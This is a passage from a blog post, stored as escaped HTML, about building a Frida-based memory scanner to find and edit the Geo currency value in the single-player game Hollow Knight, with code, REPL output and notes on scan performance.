class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003earr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`firstScan: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e candidates in \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eelapsed\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003ems`\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nx\"\u003eonError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003enextScan\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003enewAddresses\u003c/span\u003e: \u003cspan class=\"kt\"\u003eNativePointer\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ereadU32\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nx\"\u003enewAddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eelapsed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"sb\"\u003e`nextScan: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003enewAddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e candidates in \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eelapsed\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003ems (was \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e)`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003enewAddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003erpc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eexports\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003efirstScan\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003enextScan\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003egetAddresses\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eThe code should be straightforward, but here\u0026rsquo;s a couple of notable mentions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003enumToPattern\u003c/code\u003e function is just a very ugly way of encoding numbers into 32-bit Little Endian bytes\u003c/li\u003e\n\u003cli\u003eWe\u0026rsquo;re calling \u003ccode\u003eMemory.scan\u003c/code\u003e multiple times, one for each memory range that is marked both readable and writable, to avoid having to feed the entire memory range into the API\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eMemory.scan\u003c/code\u003e API is asynchronous, which means that calling the \u003ccode\u003efirstScan\u003c/code\u003e export does not block the REPL\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHere follows an excerpt of the frida interaction while using this cheat:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.firstScan(128)\n[Local::hollow_knight.x86_64 ]-\u0026gt;\nfirstScan: 207971 candidates in 1518ms\n[Local::hollow_knight.x86_64 ]-\u0026gt; // here I played HK, earning Geo\n[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.nextScan(130)\nnextScan: 8 candidates in 234ms (was 207989)\n[Local::hollow_knight.x86_64 ]-\u0026gt; // earned some more Geo\n[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.nextScan(132)\nnextScan: 2 candidates in 0ms (was 8)\n[Local::hollow_knight.x86_64 ]-\u0026gt; var addresses = rpc.exports.getAddresses()\n[Local::hollow_knight.x86_64 ]-\u0026gt; addresses[0].writeU32(31337)\n\u0026#34;0x7f4116c041cc\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAnd, \u003cem\u003evoilà\u003c/em\u003e:\u003c/p\u003e\n\u003cimg src=\"hk_31337_geo.png\" alt=\"hk_31337_geo.png\"\u003e\u003cp\u003eIn terms of elapsed time, we mostly consider the first scan, which is generally the heaviest one, since we need to scan through all the memory space. The \u003ccode\u003eMemory.scan\u003c/code\u003e API took 1.5s for that, which I would consider quite acceptable in terms of UX.\u003c/p\u003e\n\u003cp\u003eThis first experiment went well\u0026hellip;but we can\u0026rsquo;t really wrap it up here.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWhat about non-exact scans?\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eIn reality, exact scans are not enough to identify game properties, simply because in many instances there would be no way to identify an exact value.\u003c/p\u003e\n\u003cp\u003eAn example of this in HK would be the speed of the Ghost, or its health value. In such cases, we are only able to determine whether a certain value is increasing or decreasing (i.e. relative scanning) rather than its exact value, and this requires a flexibility that the \u003ccode\u003eMemory.scan\u003c/code\u003e API does not provide.\u003c/p\u003e\n\u003cp\u003eInitially, I thought about \u003ca href=\"https://github.com/suidpit/frida-gum/tree/memory-scan-unchained\"\u003eenriching the API\u003c/a\u003e by patching frida, but I soon realized this would have probably introduced breaking changes, therefore I decided to go a different route: that is, \u003cstrong\u003ereimplementing the Memory scanning logic in the agent\u003c/strong\u003e.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!important]\nWhile, as mentioned, the reason for re-implementing memory scanning is to support different kinds of scans (e.g. relative scans), for the following experiments I will still be using the simple Geo memory hack as reference, in order to keep using frida in its standalone REPL mode rather than having to complicate things.\nIn the \u003ca href=\"#freat---feature-showcase\"\u003eShowcase\u003c/a\u003e section, however, I will present an example of advanced scanning used to gain uber-fast speed.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"memory-scanning-in-js\"\u003eMemory Scanning in JS\u003c/h3\u003e\n\u003cp\u003eMy first - very naive - solution was to implement something like:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eranges\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eProcess\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eenumerateRanges\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;rw-\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eranges\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003earr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003esize\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"sb\"\u003e`Scanning range \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e/\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003earr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e - \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eword\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ereadU32\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eword\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"c1\"\u003e// pass, we don\u0026#39;t want to spam the console\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eon every iteration, we scan a 4-byte value, and we compare it with our target value.\u003c/p\u003e\n\u003cp\u003eThis approach soon demonstrates to be unfeasible: every range-scan is unbearably slow and after a few of them, the process crashes.\u003c/p\u003e\n\u003cp\u003eI can try to improve on that: assuming that the bottleneck is caused by calling the \u003ccode\u003eaddress.readU32\u003c/code\u003e API a huge number of times, a solution would be to read a whole range and then search the needle locally, in JS:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan 